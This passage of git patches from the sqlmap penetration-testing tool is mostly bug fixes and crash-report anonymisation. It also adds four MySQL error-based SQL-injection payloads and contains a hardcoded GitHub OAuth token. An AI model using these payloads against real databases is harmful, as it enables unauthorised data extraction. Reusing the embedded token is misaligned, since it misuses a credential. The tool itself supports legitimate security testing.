automatic Issue for unhandled exceptions +GITHUB_REPORT_OAUTH_TOKEN = "d6c0c7bf3f2298a7b85f82176c46d2f8d494fcc5" + # Skip unforced HashDB flush requests below the threshold number of cached items HASHDB_FLUSH_THRESHOLD = 32 diff --git a/sqlmap.py b/sqlmap.py index 5807b341f..87035781a 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -21,6 +21,7 @@ from lib.utils import versioncheck # this has to be the first non-standard impo from lib.controller.controller import start from lib.core.common import banner +from lib.core.common import createGithubIssue from lib.core.common import dataToStdout from lib.core.common import getUnicode from lib.core.common import setColor @@ -127,9 +128,11 @@ def main(): except: print errMsg = unhandledExceptionMessage() + excMsg = traceback.format_exc() logger.critical(errMsg) kb.stickyLevel = logging.CRITICAL - dataToStdout(setColor(traceback.format_exc())) + dataToStdout(excMsg) + createGithubIssue(errMsg, excMsg) finally: if conf.get("showTime"): From e08c8f272a304132db7262cab6d488cc84d25c76 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 13:10:07 +0100 Subject: [PATCH 542/889] Fix for an Issue #875 --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index afe16c522..7283a980c 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -940,7 +940,7 @@ def _setTamperingFunctions(): priority = PRIORITY.NORMAL if not hasattr(module, '__priority__') else module.__priority__ for name, function in inspect.getmembers(module, inspect.isfunction): - if name == "tamper": + if name == "tamper" and inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs": found = True kb.tamperFunctions.append(function) function.func_name = module.__name__ From f89e94fb8c18d7c8ac812bd5afbe119665d5d430 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 13:42:13 +0100 Subject: [PATCH 543/889] Minor refactoring --- lib/request/basic.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/lib/request/basic.py b/lib/request/basic.py index ac887e08c..e361c4dad 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -95,8 +95,7 @@ def forgeHeaders(items=None): kb.mergeCookies = not _ or _[0] in ("y", "Y") if kb.mergeCookies: - _ = lambda x: re.sub("(?i)%s=[^%s]+" % (cookie.name, conf.cookieDel or DEFAULT_COOKIE_DELIMITER), "%s=%s" % (cookie.name, getUnicode(cookie.value)), x) - headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE]) + headers[HTTP_HEADER.COOKIE] = re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(cookie.name), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), "%s=%s" % (cookie.name, getUnicode(cookie.value)), headers[HTTP_HEADER.COOKIE]) if PLACE.COOKIE in conf.parameters: conf.parameters[PLACE.COOKIE] = _(conf.parameters[PLACE.COOKIE]) From 268e774087ed0584c0f89b59361f678449e1572f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 13:44:55 +0100 Subject: [PATCH 544/889] Minor refactoring --- lib/request/basic.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/request/basic.py b/lib/request/basic.py index e361c4dad..2fa61b6d2 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -95,7 +95,8 @@ def forgeHeaders(items=None): kb.mergeCookies = not _ or _[0] in ("y", "Y") if kb.mergeCookies: - headers[HTTP_HEADER.COOKIE] = re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(cookie.name), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), "%s=%s" % (cookie.name, getUnicode(cookie.value)), headers[HTTP_HEADER.COOKIE]) + _ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(cookie.name), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), "%s=%s" % (cookie.name, getUnicode(cookie.value)), x) + headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE]) if PLACE.COOKIE in conf.parameters: conf.parameters[PLACE.COOKIE] = _(conf.parameters[PLACE.COOKIE]) From 3b3b8d4ef2319502d3e096dbd9c13796932a577f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 14:02:55 +0100 Subject: [PATCH 545/889] Potential bug fix (escaping formatted regular expressions) --- lib/core/common.py | 8 ++++---- lib/core/option.py | 2 +- lib/parse/banner.py | 2 +- lib/request/connect.py | 12 ++++++------ lib/utils/pivotdumptable.py | 4 ++-- plugins/generic/entries.py | 2 +- 6 files changed, 15 insertions(+), 15 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index ccb3a70a1..87b7da4bf 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1286,7 +1286,7 @@ def expandAsteriskForColumns(expression): if expression != conf.query: conf.db = db else: - expression = re.sub(r"([^\w])%s" % conf.tbl, "\g<1>%s.%s" % (conf.db, conf.tbl), expression) + expression = re.sub(r"([^\w])%s" % re.escape(conf.tbl), "\g<1>%s.%s" % (conf.db, conf.tbl), expression) else: conf.db = db conf.db = safeSQLIdentificatorNaming(conf.db) @@ -2503,11 +2503,11 @@ def removeDynamicContent(page): if prefix is None and suffix is None: continue elif prefix is None: - page = re.sub(r'(?s)^.+%s' % suffix, suffix, page) + page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix, page) elif suffix is None: - page = re.sub(r'(?s)%s.+$' % prefix, prefix, page) + page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix, page) else: - page = re.sub(r'(?s)%s.+%s' % (prefix, suffix), '%s%s' % (prefix, suffix), page) + page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix, suffix), page) return page diff --git a/lib/core/option.py b/lib/core/option.py index 7283a980c..21fe4f8c9 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -233,7 +233,7 @@ def _feedTargetsDict(reqFile, addedTargetUrls): for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S): port, request = match.groups() request = request.decode("base64") - _ = re.search(r"%s:.+" % HTTP_HEADER.HOST, request) + _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request) if _: host = _.group(0).strip() if not re.search(r":\d+\Z", host): diff --git a/lib/parse/banner.py b/lib/parse/banner.py index 293994ce4..2e11cb10c 100644 --- a/lib/parse/banner.py +++ b/lib/parse/banner.py @@ -63,7 +63,7 @@ class MSSQLBannerHandler(ContentHandler): def endElement(self, name): if name == "signature": for version in (self._version, self._versionAlt): - if version and re.search(r" %s[\.\ ]+" % version, self._banner): + if version and re.search(r" %s[\.\ ]+" % re.escape(version), self._banner): self._feedInfo("dbmsRelease", self._release) self._feedInfo("dbmsVersion", self._version) self._feedInfo("dbmsServicePack", self._servicePack) diff --git a/lib/request/connect.py b/lib/request/connect.py index bfb8bf242..bafa164ab 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -752,14 +752,14 @@ class Connect(object): if conf.csrfToken: def _adjustParameter(paramString, parameter, newValue): retVal = paramString - match = re.search("%s=(?P[^&]*)" % parameter, paramString) + match = re.search("%s=(?P[^&]*)" % re.escape(parameter), paramString) if match: origValue = match.group("value") - retVal = re.sub("%s=[^&]*" % parameter, "%s=%s" % (parameter, newValue), paramString) + retVal = re.sub("%s=[^&]*" % re.escape(parameter), "%s=%s" % (parameter, newValue), paramString) return retVal page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) - match = re.search(r"]+name=[\"']?%s[\"']?\s[^>]*value=(\"([^\"]+)|'([^']+)|([^ >]+))" % conf.csrfToken, page or "") + match = re.search(r"]+name=[\"']?%s[\"']?\s[^>]*value=(\"([^\"]+)|'([^']+)|([^ >]+))" % re.escape(conf.csrfToken), page or "") token = (match.group(2) or match.group(3) or match.group(4)) if match else None if not token: @@ -802,10 +802,10 @@ class Connect(object): if conf.rParam: def _randomizeParameter(paramString, randomParameter): retVal = paramString - match = re.search("%s=(?P[^&;]+)" % randomParameter, paramString) + match = re.search("%s=(?P[^&;]+)" % re.escape(randomParameter), paramString) if match: origValue = match.group("value") - retVal = re.sub("%s=[^&;]+" % randomParameter, "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) + retVal = re.sub("%s=[^&;]+" % re.escape(randomParameter), "%s=%s" % (randomParameter, randomizeParameterValue(origValue)), paramString) return retVal for randomParameter in conf.rParam: @@ -847,7 +847,7 @@ class Connect(object): found = False value = unicode(value) - regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), name, re.escape(delimiter)) + regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) if re.search(regex, (get or "")): found = True get = re.sub(regex, "\g<1>%s\g<3>" % value, get) diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index 6cf9c2275..8adaccf1c 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -64,7 +64,7 @@ def pivotDumpTable(table, colList, count=None, blind=True): colList = filter(None, sorted(colList, key=lambda x: len(x) if x else MAX_INT)) if conf.pivotColumn: - if any(re.search(r"(.+\.)?%s" % conf.pivotColumn, _, re.I) for _ in colList): + if any(re.search(r"(.+\.)?%s" % re.escape(conf.pivotColumn), _, re.I) for _ in colList): infoMsg = "using column '%s' as a pivot " % conf.pivotColumn infoMsg += "for retrieving row data" logger.info(infoMsg) @@ -173,7 +173,7 @@ def whereQuery(query): prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "") if "%s)" % conf.tbl.upper() in prefix.upper(): - prefix = re.sub(r"(?i)%s\)" % conf.tbl, "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix) + prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix) elif re.search(r"(?i)\bWHERE\b", prefix): prefix += " AND %s" % conf.dumpWhere else: diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 4a5ca7d94..b06306d65 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -147,7 +147,7 @@ class Entries: for column in colList: _ = agent.preprocessField(tbl, column) if _ != column: - colString = re.sub(r"\b%s\b" % column, _, colString) + colString = re.sub(r"\b%s\b" % re.escape(column), _, colString) entriesCount = 0 From 725c3a6a95a1fb49d92be6ccaf74d135f66dc91c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 14:08:06 +0100 Subject: [PATCH 546/889] Minor update --- lib/core/common.py | 13 ++++++------- sqlmap.py | 7 +++++++ 2 files changed, 13 insertions(+), 7 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 87b7da4bf..0249f69d0 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2855,16 +2855,15 @@ def createGithubIssue(errMsg, excMsg): msg = "\ndo you want to automatically create a new (anonymized) issue " msg += "with the unhandled exception information at " msg += "the official Github repository? [y/N] " - test = readInput(msg, default="N") - if test[0] in ("y", "Y"): + try: + test = readInput(msg, default="N") + except: + test = None + + if test and test[0] in ("y", "Y"): ex = None errMsg = errMsg[errMsg.find("\n"):] - for match in re.finditer(r'File "(.+?)", line', excMsg): - file = match.group(1).replace('\\', "/") - file = file[file.find("sqlmap"):].replace("sqlmap/", "", 1) - excMsg = excMsg.replace(match.group(1), file) - data = {"title": "Unhandled exception (#%s)" % hashlib.md5(excMsg).hexdigest()[:8], "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)} req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN}) diff --git a/sqlmap.py b/sqlmap.py index 87035781a..066c7709a 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -9,6 +9,7 @@ import bdb import inspect import logging import os +import re import sys import time import traceback @@ -129,6 +130,12 @@ def main(): print errMsg = unhandledExceptionMessage() excMsg = traceback.format_exc() + + for match in re.finditer(r'File "(.+?)", line', excMsg): + file = match.group(1).replace('\\', "/") + file = file[file.find("sqlmap"):].replace("sqlmap/", "", 1) + excMsg = excMsg.replace(match.group(1), file) + logger.critical(errMsg) kb.stickyLevel = logging.CRITICAL dataToStdout(excMsg) From df73be32f1a1d810d6ce241d17db3103aa2a43f2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 14:41:21 +0100 Subject: [PATCH 547/889] Fix for an Issue #876 --- lib/request/connect.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/request/connect.py b/lib/request/connect.py index bafa164ab..a0ed7d6ff 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -767,10 +767,10 @@ class Connect(object): if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): token = page - if not token and any(cookie.name == conf.csrfToken for cookie in conf.cj): - for cookie in conf.cj: - if cookie.name == conf.csrfToken: - token = cookie.value + if not token and any(_.name == conf.csrfToken for _ in conf.cj): + for _ in conf.cj: + if _.name == conf.csrfToken: + token = _.value if not any (conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): if post: post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token) From 258a700b2e1211baf360614a315075cf80c40836 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 15:14:41 +0100 Subject: [PATCH 548/889] More anonymization of unhandled exception messages --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 0249f69d0..14690a0b2 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2841,7 +2841,7 @@ def unhandledExceptionMessage(): errMsg += "sqlmap version: %s%s\n" % (VERSION, "-%s" % REVISION if REVISION else "") errMsg += "Python version: %s\n" % PYVERSION errMsg += "Operating system: %s\n" % PLATFORM - errMsg += "Command line: %s\n" % " ".join(sys.argv) + errMsg += "Command line: %s\n" % re.sub(".+?sqlmap.py", "sqlmap.py", " ".join(sys.argv)) errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None)) errMsg += "Back-end DBMS: %s" % ("%s (fingerprinted)" % Backend.getDbms() if Backend.getDbms() is not None else "%s (identified)" % Backend.getIdentifiedDbms()) From 9af6d497dcd5efa7fd31c7fc13daabce3fd59e2d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 15:22:54 +0100 Subject: [PATCH 549/889] Minor bug fix --- sqlmap.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/sqlmap.py b/sqlmap.py index 066c7709a..059c7c2ad 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -132,9 +132,10 @@ def main(): excMsg = traceback.format_exc() for match in re.finditer(r'File "(.+?)", line', excMsg): - file = match.group(1).replace('\\', "/") - file = file[file.find("sqlmap"):].replace("sqlmap/", "", 1) - excMsg = excMsg.replace(match.group(1), file) + file_ = match.group(1).replace('\\', "/") + file_ = file_[file_.find("sqlmap"):] if "sqlmap" in file_ else file_ + file_ = file_.replace("sqlmap/", "", 1) + excMsg = excMsg.replace(match.group(1), file_) logger.critical(errMsg) kb.stickyLevel = logging.CRITICAL From 455ea9922c06de0a2134f155e28dac36afbad0be Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 15:26:28 +0100 Subject: [PATCH 550/889] Minor update --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 14690a0b2..636703505 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2841,7 +2841,7 @@ def unhandledExceptionMessage(): errMsg += "sqlmap version: %s%s\n" % (VERSION, "-%s" % REVISION if REVISION else "") errMsg += "Python version: %s\n" % PYVERSION errMsg += "Operating system: %s\n" % PLATFORM - errMsg += "Command line: %s\n" % re.sub(".+?sqlmap.py", "sqlmap.py", " ".join(sys.argv)) + errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", " ".join(sys.argv)) errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None)) errMsg += "Back-end DBMS: %s" % ("%s (fingerprinted)" % Backend.getDbms() if Backend.getDbms() is not None else "%s (identified)" % Backend.getIdentifiedDbms()) From 67279a1136fca722134972f57545760c6cb26401 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 15:30:05 +0100 Subject: [PATCH 551/889] Minor update --- sqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sqlmap.py b/sqlmap.py index 059c7c2ad..4d3bfb213 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -134,7 +134,7 @@ def main(): for match in re.finditer(r'File "(.+?)", line', excMsg): file_ = match.group(1).replace('\\', "/") file_ = file_[file_.find("sqlmap"):] if "sqlmap" in file_ else file_ - file_ = file_.replace("sqlmap/", "", 1) + file_ = re.sub(r"(?i)sqlmap[^/]*/", "", file_, 1) excMsg = excMsg.replace(match.group(1), file_) logger.critical(errMsg) From 8ea22c512464b5ca7253d60808091ae93af29a14 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 Oct 2014 15:34:53 +0100 Subject: [PATCH 552/889] Fix for an Issue #878 --- lib/utils/google.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/lib/utils/google.py b/lib/utils/google.py index e675aa1af..5da738dc6 100644 --- a/lib/utils/google.py +++ b/lib/utils/google.py @@ -46,10 +46,8 @@ class Google(object): try: conn = self.opener.open("http://www.google.com/ncr") conn.info() # retrieve session cookie - except urllib2.HTTPError, e: - e.info() - except urllib2.URLError: - errMsg = "unable to connect to Google" + except Exception, ex: + errMsg = "unable to connect to Google ('%s')" % ex raise SqlmapConnectionException(errMsg) def search(self, dork): From b7aeb670e1ebe227cb28671f93756f88e7aa5468 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 29 Oct 2014 10:14:01 +0100 Subject: [PATCH 553/889] Implementation of a new MySQL error-based payload (found at RDot) --- xml/payloads.xml | 80 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 80 insertions(+) diff --git a/xml/payloads.xml b/xml/payloads.xml index 8367359bf..97d92fbf2 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -1252,6 +1252,26 @@ Formats: + + MySQL >= 5.5 AND error-based - WHERE or HAVING clause (BIGINT UNSIGNED) + 2 + 4 + 0 + 1 + 1 + AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+
+ MySQL >= 4.1 AND error-based - WHERE or HAVING clause 2 @@ -1470,6 +1490,26 @@ Formats: + + MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED) + 2 + 5 + 2 + 1 + 1 + OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+
+ MySQL >= 4.1 OR error-based - WHERE or HAVING clause 2 @@ -1715,6 +1755,26 @@ Formats: + + MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED) + 2 + 5 + 0 + 1,2,3 + 3 + (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+
+ PostgreSQL error-based - Parameter replace 2 @@ -1877,6 +1937,26 @@ Formats: + + MySQL >= 5.5 error-based - GROUP BY and ORDER BY clauses (BIGINT UNSIGNED) + 2 + 5 + 0 + 2,3 + 1 + ,(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + ,(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.5 +
+
+ PostgreSQL error-based - GROUP BY and ORDER BY clauses 2 From 5b0d74146e917290abe5ff79bdad9571b6747d5e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Oct 2014 01:01:35 +0100 Subject: [PATCH 554/889] Fix for an Issue #883 --- lib/parse/cmdline.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 06eccdd9c..c914a3d27 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -860,6 +860,9 @@ def cmdLineParser(): try: (args, _) = parser.parse_args(argv) + except UnicodeEncodeError, ex: + print "\n[!] %s" % ex.object.encode("unicode-escape") + raise SystemExit except SystemExit: if "-h" in argv and not advancedHelp: print "\n[!] to see full list of options run with '-hh'" From 0feb379b47e7d19a0aa9574be445ef528e15ae3c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Oct 2014 16:39:29 +0100 Subject: [PATCH 555/889] Fix for an Issue #887 --- lib/takeover/xp_cmdshell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/takeover/xp_cmdshell.py b/lib/takeover/xp_cmdshell.py index b1dbf3388..706863ca0 100644 --- a/lib/takeover/xp_cmdshell.py +++ b/lib/takeover/xp_cmdshell.py @@ -228,7 +228,7 @@ class Xp_cmdshell: if output and isListLike(output) and len(output) > 1: _ = "" - lines = [_ for _ in flattenValue(output) if _ is not None] + lines = [line for line in flattenValue(output) if line is not None] for i in xrange(len(lines)): line = lines[i] or "" From 38978c3e549661b5057cc1a9b1c0a3f514fcac87 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Oct 2014 16:45:26 +0100 Subject: [PATCH 556/889] Fix for an Issue #884 --- lib/core/common.py | 2 +- lib/utils/hash.py | 2 ++ 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 636703505..6d69fbfd7 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -989,7 +989,7 @@ def checkFile(filename): Checks for file existence """ - if not os.path.isfile(filename): + if filename is None or not os.path.isfile(filename): raise SqlmapFilePathException("unable to read file '%s'" % filename) def banner(): diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 0c76bff5b..e414e7239 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -750,6 +750,8 @@ def dictionaryAttack(attack_dict): else: logger.info("using default dictionary") + dictPaths = filter(None, dictPaths) + for dictPath in dictPaths: checkFile(dictPath) From 4de4f5c1babc5250ec8d72e5e8f3fdab5788cb66 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Oct 2014 16:59:31 +0100 Subject: [PATCH 557/889] Minor style fix --- sqlmap.py | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) diff --git a/sqlmap.py b/sqlmap.py index 4d3bfb213..3472b17a8 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -132,9 +132,10 @@ def main(): excMsg = traceback.format_exc() for match in re.finditer(r'File "(.+?)", line', excMsg): - file_ = match.group(1).replace('\\', "/") - file_ = file_[file_.find("sqlmap"):] if "sqlmap" in file_ else file_ - file_ = re.sub(r"(?i)sqlmap[^/]*/", "", file_, 1) + file_ = match.group(1) + file_ = os.path.relpath(file_, os.path.dirname(__file__)) + file_ = file_.replace("\\", '/') + file_ = re.sub(r"\.\./", '/', file_).lstrip('/') excMsg = excMsg.replace(match.group(1), file_) logger.critical(errMsg) From c33e493e0dc1969931468a3b38fd4008608cd5cd Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Oct 2014 17:06:09 +0100 Subject: [PATCH 558/889] Fix for an Issue #885 --- lib/takeover/udf.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/lib/takeover/udf.py b/lib/takeover/udf.py index df0453d19..c1e508b79 100644 --- a/lib/takeover/udf.py +++ b/lib/takeover/udf.py @@ -8,6 +8,7 @@ See the file 'doc/COPYING' for copying permission import os from lib.core.agent import agent +from lib.core.common import checkFile from lib.core.common import dataToStdout from lib.core.common import Backend from lib.core.common import isStackingAvailable @@ -146,6 +147,7 @@ class UDF: if len(self.udfToCreate) > 0: self.udfSetRemotePath() + checkFile(self.udfLocalFile) written = self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", forceCheck=True) if written is not True: From 65c3dfd6513c6caf352dd12cd92dec2d1b0c1fee Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Oct 2014 18:40:11 +0100 Subject: [PATCH 559/889] Bug fix (proper path joining) --- plugins/dbms/mysql/takeover.py | 4 ++-- plugins/dbms/postgresql/takeover.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index e6e79e3db..4457c9493 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -78,10 +78,10 @@ class Takeover(GenericTakeover): self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) if Backend.isOs(OS.WINDOWS): - self.udfLocalFile += "/mysql/windows/%d/lib_mysqludf_sys.dll" % Backend.getArch() + self.udfLocalFile = os.path.join(self.udfLocalFile, "mysql", "windows", "%d" % Backend.getArch(), "lib_mysqludf_sys.dll") self.udfSharedLibExt = "dll" else: - self.udfLocalFile += "/mysql/linux/%d/lib_mysqludf_sys.so" % Backend.getArch() + self.udfLocalFile = os.path.join(self.udfLocalFile, "mysql", "linux", "%d" % Backend.getArch(), "lib_mysqludf_sys.so") self.udfSharedLibExt = "so" def udfCreateFromSharedLib(self, udf, inpRet): diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index b310c43cd..0c3a41584 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -58,10 +58,10 @@ class Takeover(GenericTakeover): raise SqlmapUnsupportedFeatureException(errMsg) if Backend.isOs(OS.WINDOWS): - self.udfLocalFile += "/postgresql/windows/%d/%s/lib_postgresqludf_sys.dll" % (Backend.getArch(), majorVer) + self.udfLocalFile = os.path.join(self.udfLocalFile, "postgresql", "windows", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.dll") self.udfSharedLibExt = "dll" else: - self.udfLocalFile += "/postgresql/linux/%d/%s/lib_postgresqludf_sys.so" % (Backend.getArch(), majorVer) + self.udfLocalFile = os.path.join(self.udfLocalFile, "postgresql", "linux", "%d" % Backend.getArch(), majorVer, "lib_postgresqludf_sys.so") self.udfSharedLibExt = "so" def udfCreateFromSharedLib(self, udf, inpRet): From ab269f315f8c1bc440bd74bb7685d90d4756bade Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Oct 2014 18:58:30 +0100 Subject: [PATCH 560/889] Fix for an Issue #886 --- lib/parse/cmdline.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index c914a3d27..0bfbbba77 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -41,7 +41,7 @@ def cmdLineParser(): checkSystemEncoding() - _ = os.path.normpath(sys.argv[0]) + _ = getUnicode(os.path.normpath(sys.argv[0]), system=True) usage = "%s%s [options]" % ("python " if not IS_WIN else "", \ "\"%s\"" % _ if " " in _ else _) From 49d3860b1fa7f3df20bbdc573f6d5c061257fae9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 31 Oct 2014 20:22:15 +0100 Subject: [PATCH 561/889] Minor fix --- lib/request/connect.py | 1 